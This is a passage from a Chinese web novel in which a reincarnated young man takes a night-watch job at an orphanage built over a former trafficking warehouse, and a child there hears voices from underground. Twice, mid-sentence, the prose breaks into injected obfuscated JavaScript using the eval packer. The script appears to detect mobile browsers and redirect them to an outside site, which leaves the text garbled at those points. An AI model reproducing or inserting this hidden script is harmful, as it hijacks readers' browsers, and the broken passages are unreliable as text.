房间在二楼最里面,不大,但干净。一张单人床,一张书桌,一个衣柜,一扇窗。窗外正对着后院,能看到后院的几棵老树和一个简陋的晾衣架。 “条件简陋,你将就一下。”秦院长说,“卫生间在走廊尽头,浴室在一楼。吃饭跟孩子们一起吃,厨房的刘阿姨负责做饭。” 君荼白点点头。 他的目光落在房间的墙壁上——是老式的红砖墙,没有粉刷,砖缝里还能看到陈年的灰浆。 这个房间的结构…… 他走到墙边,手指轻轻抚过砖缝。 记忆突然闪现—— 黑暗。铁链的碰撞声。压抑的哭声。 同样的红砖墙,同样的砖缝,但墙上沾着暗红色的污渍,空气里是血腥味和霉味。 “……小君?” 秦院长的声音把他拉回现实。 “没事吧?”老太太担心地看着他,“脸色突然很白。” “……没事。”君荼白收回手,“可能有点低血糖。” “那你先休息一下。”秦院长说,“午饭时间是十二点,在楼下餐厅。下午孩子们放学回来,你可以先熟悉熟悉他们。” “好。谢谢秦院长。” 秦院长离开后,君荼白关上门,背靠着门板缓缓坐下。 手腕上的疤痕烫得惊人。 他抬起手,看着那道月牙形的痕迹。 就是这里。 这个房间,或者这个位置的房间,在第一世的时候,是关押受害者的地方。 他记得那面墙。记得砖缝的走向。记得墙角那个因为潮湿而形成的暗色水渍——现在那水渍不见了,墙被重新砌过,但砖块的排列方式,和记忆里一模一样。 146个轮回了,一千多年过去了。 墙壁还在,但墙里墙外的世界,已经完全不一样了。 君荼白站起来,走到窗边,推开窗。 后院比前院更简陋。几棵老树,一个石桌,几个石凳,角落堆着些杂物。院墙外是一片待建的空地,长满了荒草。 他的目光落在空地边缘。 那里,有一小片地面明显被清理过,土是新的,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052005|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是最近才翻动过。 三个月前。 王建国和李秀兰被陈海复仇,就发生在那个仓库——如果这个孤儿院真的是仓库改建的,那么仓库的主体建筑应该还在。 他仔细打量这栋小楼的结构。 二层,红砖,坡屋顶,朝南的窗户比较多——这确实很像老式仓库改建的。很多废弃仓库被改造成廉租房或者小作坊,加隔墙,开窗户,就变成了居住空间。 但如果是这样…… 君荼白的心跳加快了。 如果这里真的是第一世那个仓库,那么地下室的入口在哪里? 按照记忆,地下室在一楼东北角,入口被一个沉重的货架掩盖。现在一楼被改造成客厅、餐厅、厨房和孩子们的活动室,那个位置…… 他快步下楼。 秦院长正在厨房和刘阿姨说话,看见他下来,问:“怎么了?” “我想熟悉一下楼里的布局。”君荼白尽量让声音自然,“万一晚上孩子有什么情况,我得知道各个房间的位置。” “应该的。”秦院长走出来,“我带你看看。” 一楼除了公共区域,还有两个房间,是给年龄最小的孩子住的。秦院长自己的房间在一楼最里面,旁边是储藏室。 走到储藏室门口时,君荼白停下了。 这个房间的位置,正好是一楼东北角。 “这里面是些杂物和过季的被褥。”秦院长推开储藏室的门,“平时不怎么用,锁着的。” 君荼白往里看去。 房间不大,堆着些纸箱和旧家具。地面铺着老式的水磨石,已经磨损得很严重了。 但在地面中央,有一块区域的颜色明显不同——更深,更暗,像是经常被重物压着。 “这地板……”他指了指。 “哦,那个啊。”秦院长说,“之前这里有个老式的保险柜,很重,搬走之后留了个印子。我本来想重新铺一下地板,但经费不够,就暂时这样了。” 君荼白点点头,没有多问。 但他的心跳得很快。 就是这里。 第一世的时候,那个掩盖地下室入口的货架,就放在这个位置。货架很重,常年压着同一块地面,所以留下了痕迹。 而现在,痕迹还在。 只是货架变成了保险柜,地下室入口……可能已经被封死了。 “秦院长,”他装作随意地问,“这栋楼以前是做什么的?我看结构不像普通的居民楼。” 秦院长沉默了一下。 “以前啊……”她轻声说,“以前是个仓库。后来废弃了,政府拍卖,我就买下来,改造成了孤儿院。” “仓库?存什么的?” “不清楚。”秦院长摇摇头,“我接手的时候,里面已经空了,只剩些破烂货架和废纸箱。收拾了好几个月才弄干净。” 她顿了顿,看向君荼白。 “这地方……以前可能不太干净。刚搬进来的时候,孩子们老说晚上听到奇怪的声音。哭啊,脚步声啊,还有铁链子响。我就请了师父来做法事,后来又重新装修了一遍,才慢慢好了。” 君荼白感觉后背发冷。 奇怪的声音。 哭。脚步声。铁链子响。 那不就是…… “不过现在没事了。”秦院长笑了笑,“都过去十五年了。孩子们住得挺习惯,也没再说过那些话。” “那就好。” 参观完一楼,君荼白回到自己房间。 他关上门,背靠着门板,深呼吸。 手腕上的疤痕还在发烫,但热度已经不像刚才那么强烈了。 现在他知道了两件事: 第一,这里确实是第一世那个仓库。 第二,地下室入口可能还在,只是被掩盖了。 但他不确定自己要不要去探查。 如果地下室真的还在,里面会有什么?那些黑暗的记忆?还是……其他东西? 而且秦院长看起来是个好人。她把这些从地狱变成了庇护所,把曾经充满痛苦的地方变成了孩子们的家。如果他贸然行动,会不会破坏这里的平静? 正想着,手机震动起来。 是陆予瞻。 君荼白接起来。 “你在哪儿?”陆予瞻的声音有些急。 “在归家孤儿院。刚和秦院长谈好,今晚开始上班。” 电话那头沉默了几秒。 “你……还好吗?”陆予瞻问,“那个地方,对你来说……” “我很好。”君荼白说,“比我想象的好。这里现在……很温暖。” “那就好。”陆予瞻松了口气,“你想起来了很多可怕的回忆。我怕你……” “不会。”君荼白打断他,“相反,我觉得……那样很好。” 电话那头又沉默了。 良久,陆予瞻才开口,声音有些哑:“谢谢。” “不用谢。”君荼白说,“是我该谢谢你们。谢谢你们这一百多年……都没有放弃。” “永远不会放弃。”陆予瞻说,“对了,有件事要告诉你。沈鉴在陈海的后续调查里,发现了一点东西。” “什么?” “王建国和李秀兰这二十多年来,不止‘收养’过陈山一个孩子。”陆予瞻的声音变得低沉,“根据陈海找到的一些旧记录,他们至少经手过七八个孩子。都是从各地的孤儿院‘领养’,然后……不知所踪。” 君荼白的心沉下去。 “那些孩子……” “大部分可能已经没了。”陆予瞻说,“但沈鉴在整理那些记录时,发现了一个规律——王建国每隔三到五年,就会‘领养’一个孩子。时间很有规律,像是在完成某种……任务。” “任务?” “像是有人在指示他做这些事。”陆予瞻说,“沈鉴怀疑,王建国可能只是一个执行者。上面还有人,一个更大的网络。” 君荼白想起第一世的记忆——那个跨国人口贩卖集团。 “那个集团……还在?” “可能换了个形式,但还在。”陆予瞻说,“所以你要小心。孤儿院那个地方,可能不仅仅是过去的犯罪现场,也可能是……某个环节的一部分。” “你是说,秦院长她……” “我不确定。”陆予瞻说,“秦院长我认识很多年了,她是个好人。但有时候,好人也会在不知情的情况下,成为某些事情的一环。” 君荼白明白了。 “我会注意的。” “周屹会在附近。”陆予瞻说,“他不会进孤儿院,但会在外面守着。如果你发现什么不对劲,随时联系他——或者联系我。” “好。” 挂断电话后,君荼白走到窗边,看着后院。 阳光下,那几棵老树的影子在地上拉得很长。 看起来那么平静。 但平静之下,藏着多少秘密? 一百多次的轮回。 147个失踪的孩子。 一个本该死去的仓库,现在成了孤儿院。 而他自己,在经历了147次死亡后,又回到了这里。 这一次,会有什么不同吗? 他不知道。 他只知道这一次一定要结束。 无论付出什么代价。 10. 夜巡 晚饭前,君荼白在二楼房间安顿下来。 窗外天色渐暗,老城区的路灯陆续亮起。他坐在床边,拿出手机。 屏幕上有一条未读微信,是林澈下午发来的: “到了吗?安顿好了吗?记得报平安。” 君荼白拨通电话。 “喂?”林澈的声音听起来有些喘,像是在跑步,“荼白?” “嗯,是我。” “你可算来电话了!”林澈那边传来关门声,大概是回到了公寓,“怎么样?老家那边还好吗?” “还好。”君荼白看着窗外渐暗的天色,“我已经安顿下来了。” “那就好。你住哪?亲戚家?” “不是。”君荼白顿了顿,“我在一家孤儿院找了份工作,包吃住。” 电话那头安静了几秒。 “……孤儿院?”林澈的声音充满困惑,“你不是回老家休养吗?” “这里环境安静,适合静养。”君荼白找了个合理的解释,“而且做点有意义的事,也许对恢复有帮助。” 林澈沉默了。他太了解君荼白——这个室友一旦做了决定,八匹马都拉不回来。 “那你……什么时候回学校?”林澈问得小心翼翼。 “暂时不确定。”君荼白实话实说,“可能半年,可能一年。张教授给我批了长期病假,学籍保留着。” “那我帮你把公寓的东西收拾一下?有些书和衣服……” “不用。”君荼白说,“重要的我都带走了。剩下的……你先帮我收着吧。如果你哪天不住了,你就帮我处理掉。” “行。”林澈答应得爽快,“那你照顾好自己。有什么事随时给我打电话,我24小时开机。” “谢谢。” “谢什么。”林澈的声音轻下来,“我们是朋友啊。” 挂断电话,君荼白在窗边站了很久。 朋友。 这个词对他来说,太奢侈了。 一百多个轮回来,他不敢交朋友,不敢建立太深的联系。因为每一次死亡,都是一次彻底的离别。那些记得他的人,会为他伤心;那些不记得他的人,会在下一世与他擦肩而过。 孤独是诅咒,也是保护色。 但现在,他自己在改变。 他会寻求陆予瞻,沈鉴,周屹的帮助——这些人记得他,理解他,愿意陪他走这条艰难的路。 也许这一次,真的会不同。他可以尝试留在这破碎的人间。 手腕上的疤痕微微发烫,像是在回应他的思绪。 楼下传来秦院长的声音:“孩子们,吃饭啦!” 君荼白收起手机,整理了一下衣服,走下楼。 晚饭在六点半。 餐厅在一楼西侧,是个不大的房间,摆着两张长桌和十几把椅子。孩子们按年龄大小坐,年纪小的坐在离打饭窗口近的位置,方便刘阿姨照顾。 君荼白端着餐盘在角落坐下。他的出现引起了孩子们的好奇,几个胆大的男孩偷偷打量他,小声议论着什么。 “都安静吃饭。”秦院长坐在主位,声音不大但很有威严,“这位是君叔叔,以后晚上会在院里值班。大家要听话,晚上不许调皮。” 孩子们齐声应了:“知道了,秦奶奶。” 君荼白安静地吃饭。饭菜很简单——炒青菜、土豆炖肉、西红柿鸡蛋汤,但味道很好,能尝出是用心做的。 他的目光扫过每个孩子。 十二个孩子,年龄从四岁到十二岁不等。大部分孩子看起来和普通孩子没什么两样,但有两个孩子让他多留意了几眼。 一个是坐在最角落的男孩,大概十岁左右,很瘦,吃饭时低着头,几乎把脸埋在碗里。他吃饭的速度很快,像是怕被人抢走似的。 另一个是个七八岁的小女孩,扎着两个羊角辫——就是早上给他开门的小玲。她倒是很活泼,一边吃饭一边跟旁边的女孩说悄悄话,时不时偷偷看君荼白一眼,被发现后就赶紧转回头,假装认真吃饭。 “君叔叔,”一个看起来最大的男孩突然开口,“你晚上真的不睡觉吗?” “要睡觉的。”君荼白说,“但睡得浅,有动静就会醒。” “那你会怕黑吗?”另一个女孩问。 秦院长正要开口制止,君荼白摇了摇头:“不怕。黑暗里其实有很多东西在守护着我们,只是我们看不见。” 这句话让几个孩子眼睛亮了。 “什么东西?”小玲忍不住问。 “比如月光。”君荼白指了指窗外,“比如风。比如记忆里那些美好的人和事。” 孩子们似懂非懂,但都安静下来。 秦院长看了君荼白一眼,眼神里有些许赞许。 晚饭后是活动时间。大一点的孩子在客厅写作业,小的在院子里玩。君荼白帮着刘阿姨收拾餐厅,把碗筷端进厨房。 “君先生以前带过孩子?”刘阿姨是个五十多岁的妇女,说话爽朗。 “没有。”君荼白说,“但我记得自己小时候的样子。” 刘阿姨笑了:“那倒是。记得自己小时候,就能理解孩子了。” 收拾完厨房,君荼白回到二楼自己的房间。窗外的天色已经暗下来,老城区的路灯一盏盏亮起,昏黄的光晕在巷子里铺开。 七点整,楼下传来秦院长的声音:“孩子们,该洗漱准备睡觉了!” 一阵脚步声和嬉笑声后,楼里渐渐安静下来。 君荼白换上一身深色衣服,走出房间。走廊里只开了一盏小夜灯,光线昏暗。他能听到楼下传来的水声,孩子们轮流洗漱的声音,秦院长温和的提醒声。 七点半,孩子们陆续回房。小一点的孩子住在一楼的两个房间,大一点的住在二楼,三人一间。君荼白的房间在二楼最里面,隔壁就是两个男孩的房间。 他站在走廊里,听着隔壁房间里传来的低语。 “……新来的叔叔看起来挺严肃的。” “但他不怕黑诶。” “秦奶奶说他值夜班,那我们晚上上厕所是不是可以叫他?” “别了吧,多不好意思……” 君荼白嘴角微微扬起。 这些孩子的声音,这些细微的响动,这些属于平凡生活的琐碎声响——这一切,在很久很久以前的那个仓库里,是完全不存在的。 那时候这里只有死寂,或者压抑的哭泣。 他慢慢走下楼梯。 一楼只开了一盏壁灯。秦院长正在检查门窗,看见他下来,点点头:“要开始值班了?” “嗯。您去休息吧。” “我一般十点才睡。”秦院长说,“你先熟悉一下流程。晚上主要就是巡夜,每两小时一次,检查门窗有没有关好,看看孩子们睡得怎么样。一楼储物间旁边有手电筒和对讲机,有问题随时叫我。” “好的。” 秦院长又交代了几句注意事项,然后回了自己房间。 君荼白走到储物间门口,门锁着,他试了试,打不开。 他拿出手电筒和对讲机,先检查了一楼的门窗。所有窗户都锁好了,前后门也都从里面反锁。透过窗户能看到院子,月光把地面照得一片银白。 检查完一楼,他轻轻走上二楼。 孩子们的房间都关着门,门缝里透出微弱的光——有的孩子怕黑,会开着小夜灯。他挨个房间听了一下,里面传来均匀的呼吸声,偶尔有翻身的声音。 一切正常。 回到一楼客厅,君荼白在沙发上坐下。 墙上的钟指向八点十分。 夜晚很安静。远处的巷子里偶尔传来几声狗叫,更远处有车辆驶过的声音,但很快就消失了。老城区的夜晚就是这样,早早就陷入沉睡。 君荼白靠在沙发上,闭上眼睛。 手腕上的疤痕还在发烫,但热度变得温和了,像是脉搏一样有节奏地跳动。 他在脑海里回忆这栋楼的结构。 从外面看,这栋楼长大约十五米,宽八米左右,两层,坡屋顶。一楼现在的布局是:进门是客厅,往左是餐厅和厨房,往右是两个孩子的房间和秦院长的房间,最里面是储物间。 如果这真的是第一世那个仓库,那么地下室的入口应该在储物间的位置。但问题来了——地下室有多大? 在他的记忆里,他只被关在其中一个隔间,对整个地下室的布局并不清楚。但按照常理,一个用来关押人的地下室,应该不会太小,至少能容纳十几个隔间。 那么,地下室的范围可能不仅限于储物间下方,可能延伸到整个一楼的下方,甚至院子的下方。 还有后院那片新翻动的地面…… 君荼白睁开眼,走到窗边,看向后院。 月光下,那片新土显得格外明显。土是松的,没有长草,和周围的荒草形成鲜明对比。 他看了眼墙上的钟:八点半。 秦院长应该还没睡。 犹豫了几秒,他拿起对讲机,按下通话键。 “秦院长?” 几秒后,对讲机里传来声音:“在。怎么了?” “我想问一下,后院那片新翻的地面是做什么的?” 对讲机那头沉默了一下。 “哦,那个啊。”秦院长的声音很平静,“前阵子下雨,院子角落塌了一块,我就请人填了填土。怎么,有问题吗?” “没有,就是看到有点好奇。” “没事,就是普通的填土。”秦院长说,“你继续值班吧。我十点睡觉。” “好的。” 君荼白放下对讲机。 秦院长的解释听起来合理,但那个位置……太巧了。正好在后院角落,而且翻动的面积不大,就像是在挖一个坑,然后又填上。 如果是填塌陷,为什么只填那一小块? 正想着,楼上突然传来一声尖叫。 是个孩子的声音。 君荼白立刻冲上楼梯。 声音是从二楼最外面的房间传来的——那是三个女孩的房间。他敲门:“怎么了?发生什么事了?” 门开了,小玲站在门口,脸色苍白,眼睛红红的。 “做、做噩梦了……”她小声说。 房间里另外两个女孩也醒了,坐起来揉着眼睛。 君荼白蹲下身,看着小玲:“梦到什么了?” “梦到……梦到有人在下面哭。”小玲指了指地板,“好多人在哭,还有铁链子的声音……” 另外两个女孩听到这话,都害怕地缩了缩。 君荼白的心跳漏了一拍。 “只是噩梦。”他尽量让声音温和,“秦奶奶不是说了吗?这栋楼以前是仓库,可能你白天听秦奶奶说起过,晚上就做梦了。” “可是……”小玲咬着嘴唇,“我听见声音了,真的听见了。” “有时候做梦会感觉很真实。”君荼白说,“来,我陪你们坐一会儿,等你们睡着再走,好吗?” 三个女孩点点头。 “君叔叔,”小玲侧躺着,看着他,“你真的不怕吗?” “不怕。” “为什么?” 君荼白看着小玲清澈的眼睛,忽然想起陆予瞻提到的事——陈子轩从老鬼那里买了“子母蛊”。 母蛊在陈子轩手里,子蛊可能已经种在某个不知情的人身上。 如果陈子轩和晨星基金会有关联…… 他会不会把子蛊种在孤儿院的孩子身上? 想到这里,君荼白心头一紧。但他不能让小玲看出异样。 “因为我知道,无论发生什么,太阳都会照常升起。”他尽量让声音温和,“黑夜总会过去。” 小玲似懂非懂地点点头,闭上眼睛。 另外两个女孩也很快睡着了。小玲的呼吸也逐渐平稳下来。 君荼白坐了一会儿,确认她们都睡熟了,才轻轻起身离开。 关上房门,他站在走廊里,耳朵贴着地板。 一片寂静。 但小玲的话在他脑子里回荡。 “梦到有人在下面哭……好多人在哭,还有铁链子的声音……” 是巧合吗? 还是说,这孩子真的听到了什么? 他想起秦院长白天说的话:“刚搬进来的时候,孩子们老说晚上听到奇怪的声音。哭啊,脚步声啊,还有铁链子响。” 十五年前就有这样的现象。 而现在,又出现了。 君荼白走下楼,回到客厅。 墙上的钟指向九点二十。 他坐在沙发上,闭上眼睛,集中精神。 手腕上的疤痕开始发烫,热度比刚才更强。他努力感受那种热度传递的信息。 渐渐地,他听到了。 很微弱,几乎察觉不到。 像是从地底深处传来的……呜咽声。 不是清晰的哭声,更像是风声穿过缝隙时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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快十点了。秦院长应该准备睡觉了。 他回到客厅坐下,强迫自己冷静下来。 十点整,对讲机里传来秦院长的声音:“小君,我去睡了。有情况随时叫我。” “好的,秦院长晚安。” “晚安。” 楼里彻底安静下来。 君荼白坐在黑暗中,耳朵竖着,捕捉每一个细微的声音。 十点半。 十一点。 十一点半。 午夜十二点。 他站起身,开始第二次巡夜。 二楼一切正常,孩子们都睡得很熟。他特意在小玲的房间门口多听了一会儿,里面只有均匀的呼吸声。 回到一楼,他犹豫了几秒,然后轻手轻脚地走到后门。 门锁着,但钥匙就在旁边的挂钩上。秦院长交代过,晚上如果急需出门,可以用这把钥匙。 君荼白拿起钥匙,轻轻打开门锁。 “咔哒”一声,在寂静中显得格外清晰。 他屏住呼吸,等了几秒,确认没有惊动任何人,才推开门。 夜晚的凉风灌进来。 他走出门,反手轻轻把门虚掩上。 后院在月光下显得格外空旷。那几棵老树的影子投在地上,像张牙舞爪的怪物。角落里,那片新翻的地面像一块伤疤,在银白的月光下格外显眼。 君荼白走过去,蹲下身。 土确实是新翻的,很松软。他用手扒开表面的土层,大概往下挖了十公分,碰到了硬物是石头,或者砖块。 他继续挖。 又往下挖了大概二十公分,指尖触到了一个光滑的表面。 他清理掉周围的土,露出那个物体的真容。 是一块水泥板。 大约半米见方,表面很平整,边缘整齐,明显是人造的。 君荼白的心跳如鼓。 他继续清理水泥板周围的土,发现这块板子不是孤立的,它连接着更大的结构,像是地下室的通风口盖板,或者检修口。 如果这是通风口,那么它应该通向地下室。 他试着抬了抬水泥板,很重,一个人根本抬不动。 而且,板子边缘有水泥封死的痕迹,看起来很久没有打开过了。 君荼白停止挖掘,把土重新填回去。 他不能留下明显的痕迹。 填好土,他站起身,环顾四周。 月光下,院子安静得诡异。 他突然有种感觉,有什么东西在看着他。 那东西不是人。 是更古老、更黑暗的东西。 手腕上的疤痕剧烈发烫,几乎要烧起来。 他抬起头,看向二楼的窗户。 所有的窗户都黑着。 但有一扇窗,小玲房间的窗,那处窗帘在动。 窗帘被掀开一角,后面有一张脸。 是小玲。 她在看着他。 君荼白站在原地,和小玲隔着玻璃对视。 几秒钟后,小玲放下了窗帘。 君荼白迅速回到楼内,锁好后门,把钥匙放回原处。 他快步走上二楼,轻轻推开小玲房间的门。 三个女孩都在床上,似乎都睡着了。 但小玲的呼吸节奏不对。太刻意了,像是在装睡。 君荼白没有揭穿她。他轻轻关上门,回到走廊。 靠在墙上,他深呼吸。 小玲看到了。 她看到了他去后院,看到了他挖土。 这孩子……不简单。 或者,她看到了别的东西。 君荼白回到自己房间,关上门。 窗外的月光照进来,在地板上投下窗格的影子。 他坐在床边,抬起手腕。 疤痕在月光下泛着暗红色的光,像一只半睁的眼睛。 “你在提示我什么?”他低声问。 疤痕没有回答。 但那种共鸣感更强烈了。 地下室里有东西。 而且,那东西在呼唤他。 是挤压太久的冤屈和愤怒在呼唤。 11. 孤儿院的暗道 第二天清晨,君荼白被阳光叫醒。 他躺在窄小的单人床上,盯着天花板上因潮湿形成的黄色水渍。手腕上的疤痕不再发烫,恢复成暗沉的褐色,像一道陈年旧伤。 楼里已经响起孩子们的动静,脚步声,压低的笑声,秦院长温和的提醒声。一个平常的早晨。 但君荼白知道,有些东西已经不一样了。 他起身穿衣,走到窗边。后院在晨光中一览无余,那片新翻的土地依然刺眼。昨夜的一切:水泥板、地底的呜咽、小玲在窗帘后的眼睛,都历历在目。 洗漱下楼时,秦院长正在餐厅摆碗筷。 “睡得好吗?”老太太抬头问,眼神一如既往的温和。 “还好。”君荼白接过她手里的盘子,“孩子们都起了?” “都起了,在院子里晨读。”秦院长顿了顿,“小玲昨晚好像又做噩梦了,早上眼睛红红的。” 君荼白的手指微微一紧:“还是梦到……哭声?” “她没说。”秦院长摇摇头,“那孩子心思重,不爱说心里话。来了两年了,还是这样。” “她怎么来这里的?” “警察送来的。”秦院长的声音低下来,“她父母……出车祸走了。亲戚都不愿意接手,就被送到了这里。” 很常见的悲剧。但君荼白总觉得哪里不对劲。 早餐时,他特意观察小玲。女孩安静地喝着粥,偶尔和旁边的女孩说几句话,看起来和普通孩子没什么两样。只是她的眼睛下方有淡淡的乌青,确实像没睡好。 “小玲。”君荼白轻声叫她。 女孩抬起头,眼神有一瞬间的躲闪。 “昨晚睡得好吗?” “……挺好的。”小玲低下头,用勺子搅着碗里的粥。 “如果晚上害怕,可以叫我。” 小玲没有回答,只是轻轻点了点头。 秦院长看了君荼白一眼,没说什么。 上午孩子们去上学后,孤儿院里安静下来。刘阿姨在厨房准备午饭,秦院长出门采购,君荼白则负责打扫公共区域。 他特意申请打扫储物间。 “里面灰尘大,你戴口罩。”秦院长把钥匙递给他时嘱咐道,“有些旧箱子很重,别勉强。” “好的。” 储物间门打开的瞬间,一股陈年的灰尘味扑面而来。房间不大,大约十平米,堆满了纸箱、旧家具和破损的玩具。光线从唯一的小窗户透进来,在漂浮的灰尘中形成一道光柱。 君荼白戴上口罩,开始整理。 他动作很慢,一边清扫一边观察。地面确实是老式水磨石,磨损严重,中央那块深色区域格外明显。他蹲下身,用手摸了摸,质地坚硬,没有松动。 如果地下室入口在这里,应该会有缝隙,或者暗门。 他挪开几个纸箱,露出墙角的区域。墙面是红砖直接裸露,没有粉刷。他仔细检查每一块砖,每一道砖缝。 没有异常。 至少表面上没有。 但当他用手指敲击墙面时,声音在某个位置发生了变化。从实心的闷响,变成了略微空荡的回声。 大约一米二高度的位置,一块砖周围的声音明显不同。 君荼白记下那个位置,没有立即行动。他把纸箱挪回原位,继续打扫其他地方。 半小时后,储物间基本整理完毕。他退到门口,环顾整个房间。 从结构上看,这个房间应该对应仓库时期的某个隔间。如果地下室入口在这里,最可能的位置就是墙角——方便用货架掩盖。 他想起第一世被关押时的记忆:那个隔间大约三平米,铁门在侧面,墙上高处有个通风口。他被铁链锁在墙角,每天只有一顿发馊的饭食。 手腕上的疤痕又开始微微发烫。 君荼白深吸一口气,关上门,锁好。 钥匙交还给秦院长时,老太太正在院子里晾衣服。 “打扫完了?” “嗯。灰尘比较多,我开了窗通风。” “辛苦你了。”秦院长抖开一件孩子的外套,“对了,下午邮递员会来送信,如果我不在,你帮我签收一下。有一个捐赠包裹,是外地一家企业寄来的。” “好的。” “捐赠……”秦院长忽然停下动作,看着手里的衣服,“有时候我在想,这些捐赠到底是出于善意,还是出于愧疚。” 君荼白心头一动:“愧疚?” “啊,没什么。”秦院长回过神,笑了笑,“人老了就爱瞎想。你去休息吧,下午还要值班。” 回到房间,君荼白给陆予瞻发了条信息: “查一下归家孤儿院的捐赠记录。尤其是大额捐赠,或者定期捐赠。” 很快,陆予瞻回复:“已经在查。沈鉴发现了一些东西,见面说?” “今晚我值班,出不去。” “周屹会去附近。老地方,巷子口那家便利店,晚上十点。” “好。” 下午三点,孩子们陆续放学回来。 孤儿院顿时热闹起来。大孩子帮忙辅导小孩子写作业,几个男孩在院子里踢毽子,女孩们围在一起跳皮筋。小玲没有参与,一个人坐在院子的石凳上看书。 君荼白在二楼窗户观察她。 女孩看得很认真,但每隔几分钟就会抬头,目光不自觉地飘向后院那片土地。她的嘴唇微微动着,像是在默念什么。 君荼白下楼,走到她身边。 “看什么书?” 小玲吓了一跳,手里的书差点掉地上。君荼白瞥见封面——《安徒生童话》。 “喜欢童话?” “……嗯。”小玲把书抱在怀里。 “我也喜欢。”君荼白在她旁边的石凳坐下,“尤其是那些结局好的童话。” “童话的结局……都不一定是真的。”小玲小声说。 “为什么这么说?” “因为……”女孩咬了咬嘴唇,“因为现实里,坏人有时候不会受到惩罚。好人……也不一定有好报。” 君荼白看着她:“你遇到过坏人吗?” 小玲沉默了。她的手指紧紧攥着书页,指节发白。 良久,她才说:“君叔叔,你相信……死人会说话吗?” 院子里,其他孩子的嬉笑声传来,阳光温暖,一切都那么平常。 但君荼白感到一股寒意从脊背升起。 “为什么这么问?” “因为我听见了。”小玲的声音很轻,轻得像耳语,“晚上,他们在地下说话。好多人……在哭,在喊,在求救。” “你告诉秦奶奶了吗?” “说过一次。”小玲低下头,“秦奶奶说是我做噩梦,带我去看了医生。医生开了药,说吃了就不会做噩梦了。” “那你……” “我偷偷把药扔了。”女孩抬起头,眼睛里有不属于她这个年龄的执拗,“因为我没有做梦。我是醒着的时候听见的。” 君荼白的心脏剧烈跳动。 “从什么时候开始的?” “从我住进来开始。”小玲说,“但最近……越来越清楚了。尤其是下雨天,声音特别清楚。还有……” 她犹豫了一下。 “还有什么?” “还有……”小玲的声音更低了,“还有人在喊一个名字。我听不清,但好像……好像是‘君’什么的。” 君荼白全身的血液仿佛瞬间凝固。 手腕上的疤痕剧烈发烫,几乎要烧穿皮肤。 他强迫自己保持平静:“你确定?” “不确定。”小玲摇头,“声音很模糊,像隔着一层水。但是……昨天晚上,你去了后院之后,那个声音变清楚了。” 君荼白终于明白昨晚小玲为什么在窗口看他。 是因为她听到了变化。 “小玲。”他尽量让声音温和,“这件事,不要再告诉别人了。包括秦奶奶。” “为什么?” “因为……”君荼白想了想,“因为有些真相,知道的人越多,越危险。你懂吗?” 女孩盯着他看了很久,然后缓缓点头。 “君叔叔。”她说,“你和他们不一样。你不怕。” “你怎么知道我不怕?” “因为你的眼睛。”小玲认真地说,“秦奶奶的眼睛很温柔,刘阿姨的眼睛很慈祥,但你的眼睛……里面有很多东西。有悲伤,有愤怒,还有……痛苦。” 君荼白愣住了。 这个不到十岁的女孩,看穿了他一百多年的沉淀。 “小玲。”他轻声说,“如果我告诉你,我能听见那些声音,你相信吗?” 女孩的眼睛亮了。 “真的?” “真的。”君荼白抬起左手,挽起袖子,露出那道月牙疤痕,“因为这个。它会在那些声音出现时发烫。” 小玲盯着疤痕,伸出手,又缩回去:“疼吗?” “不疼。只是……在提醒我。” “提醒你什么?” “提醒我,有些事情必须去做。”君荼白放下袖子,“有些人,必须被记住。” 院子里传来秦院长的呼唤:“孩子们,吃点心啦!” 小玲站起来,抱着书,却没有立即离开。 “君叔叔。”她说,“如果你要去地下……可以带我一起去吗?” “不行。”君荼白果断拒绝,“太危险了。” “可是我能听见。”女孩固执地说,“也许我能帮上忙。” 君荼白看着她眼中那股与年龄不符的坚定,忽然想起第一世的自己——在那个黑暗的隔间里,也是这样的眼神。 “让我考虑考虑。”他最终说,“但你要答应我,在我同意之前,不要轻举妄动。” 小玲用力点头:“我答应!” 看着女孩跑向食堂的背影,君荼白坐在石凳上,久久不动。 手腕上的疤痕还在发烫。 这一次,烫得他心慌。 晚上七点,值班开始。 孩子们洗漱睡觉后,楼里恢复安静。君荼白照例巡夜,一切正常。 九点半,秦院长回房休息。 晚上十点,君荼白与周屹在便利店会面。 周屹带来了沈鉴整理的资料,以及一个黑色的小背包。“里面有强光手电、对讲机、微型摄像头、还有一把多功能刀。”周屹低声说,“陆先生让我提醒你,地下室可能有危险,不要单独行动。” 君荼白接过背包:“明晚十点,后院东墙老槐树下。” “我会准时到。”周屹顿了顿,“但是……陆先生让我转告你,沈鉴在查晨星基金会时,发现了一点异常。” “什么异常?” “基金会的转账记录显示,每年二十万的捐赠,都是在同一天到账——11月15日。”周崎说,“而今年的11月15日,就在三天后。” 君荼白心中一动:“你的意思是……” “如果这个捐赠真的和那个组织有关,三天后他们可能会有人来孤儿院。”周屹压低声音,“陆先生建议你等一等,看看情况再行动。贸然进入地下室,可能会打草惊蛇。” 君荼白沉默了。他确实急于进入地下室,但周屹说得对——如果三天后真的有人来,那将是接近真相的重要机会。 “我明白了。”他最终说,“告诉陆先生,我会等。” “另外,”周屹从口袋里掏出一个小玻璃瓶,里面装着暗红色的液体,“沈鉴让我给你的。他说你可能会需要。” “这是什么?” “暂时还不知道。”周屹摇头,“沈鉴说,这是从王建国和李秀兰死亡现场提取的残留物,经过特殊处理。他说,如果在地下室遇到无法解释的现象,可以试试这个。” 君荼白接过玻璃瓶。液体在便利店的灯光下泛着诡异的光泽。 “替我谢谢沈鉴。” “你自己当心。”周屹拍了拍他的肩,“我们都在外面,随时接应。” --- 回孤儿院的路上,君荼白走得很慢。 